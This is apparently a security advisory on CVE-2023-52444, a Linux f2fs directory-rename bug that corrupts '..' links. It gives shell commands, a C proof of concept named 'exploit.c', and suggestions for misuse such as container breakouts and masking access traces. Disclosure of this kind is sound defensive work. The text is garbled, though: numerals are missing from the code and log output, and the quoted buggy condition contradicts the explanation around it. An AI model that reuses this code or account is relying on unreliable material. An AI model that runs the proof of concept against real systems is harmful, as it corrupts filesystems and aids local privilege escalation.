Published: 2024-06
Severity: Medium
Component: f2fs (Flash-Friendly File System)
Affected versions: v6.5 and earlier (patch applied in mainline Linux)
References:
- Original Report
Summary
A vulnerability in the Linux kernel’s f2fs (Flash-Friendly File System) could allow an attacker to corrupt directory entries ("dirent"). The issue, CVE-2023-52444, involves improper updating of the special ".." (parent directory) link during cross-directory rename operations without a whiteout. Exploiting this can lead to filesystem inconsistencies and possible privilege escalation or denial of service.
After a responsible disclosure and community feedback, kernel developers patched the bug, but it’s vital for sysadmins to understand the underlying issue, reproduce it for detection, and upgrade affected systems.
Technical Background
When renaming directories across parent folders, especially on filesystems like f2fs, the Linux VFS requires the ".." link inside the moved directory to be updated. If not, the subdirectory’s parent reference becomes stale and points to the wrong inode number, causing confusion for both userspace and kernel tools.
The buggy code (before the patch) looked like this
// inside fs/f2fs/dir.c, f2fs_rename()
if (old_dir != new_dir && !whiteout)
f2fs_set_link(old_inode, old_dir_entry, old_dir_page, new_dir);
else
f2fs_put_page(old_dir_page, );
If a cross-directory rename _with_ a whiteout was attempted, the function skipped updating the ".." link. That means the parent reference inside the directory wasn’t updated, which results in an invalid state.
How to Reproduce (Test Case)
You can easily reproduce and detect CVE-2023-52444 using basic shell commands and the renameat2 syscall.
Reproduction steps
# Create a directory structure
mkdir -p dir/foo
# Whiteout move: moves dir/foo to bar, leaving a whiteout in place
# -w flag enables whiteout (needs newer renameat2, so may require C code, see below)
renameat2 -w dir/foo bar
If your kernel is vulnerable, running fsck or dmesg will show something like
[ASSERT] (__chk_dots_dentries:1421) --> Bad inode number[x4] for '..', parent ino is [x3]
[FSCK] other corrupted bugs [Fail]
C code to reproduce
If you don’t have a shell utility for renameat2 with RENAME_WHITEOUT, try this C snippet
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#ifndef RENAME_WHITEOUT
#define RENAME_WHITEOUT (1 << 2)
#endif
int main() {
mkdir("dir", 0777);
mkdir("dir/foo", 0777);
int ret = syscall(SYS_renameat2, AT_FDCWD, "dir/foo", AT_FDCWD, "bar",
RENAME_WHITEOUT);
if (ret != ) perror("renameat2");
return ;
}
Compile and run
gcc exploit.c -o exploit
./exploit
Exploit Details
While this is not an immediate remote code execution vector, a malicious local user could exploit this to:
Crash system tools relying on directory correctness.
- Escalate privileges if the system security model relies on filesystem integrity (e.g., container breakouts or inode-based ACLs).
A real-world scenario is to create nested directory hierarchies and use whiteouts to mask access traces, then confuse backup, recovery, or quota tools by the corrupted ".." references.
Patch and Mitigation
Fix committed: The kernel commit introducing a fix ensures that the ".." inode reference is always correctly set, even with whiteout moves.
Reference:
- LKML Patch Discussion
- Linux Git Master Commit
Action:
Conclusion
CVE-2023-52444 is a subtle but dangerous Linux kernel bug in f2fs that could undermine filesystem reliability and security. System administrators and users of f2fs on Linux should patch promptly, validate their filesystems, and educate teams on the importance of seemingly minor VFS updates.
For more technical insight, check the original mailing list report.
_Remember: Even small missteps in filesystem internals can lead to major stability and security issues. Stay vigilant, patch early!_
Timeline
Published on: 02/22/2024 17:15:08 UTC
Last modified on: 03/14/2024 20:13:28 UTC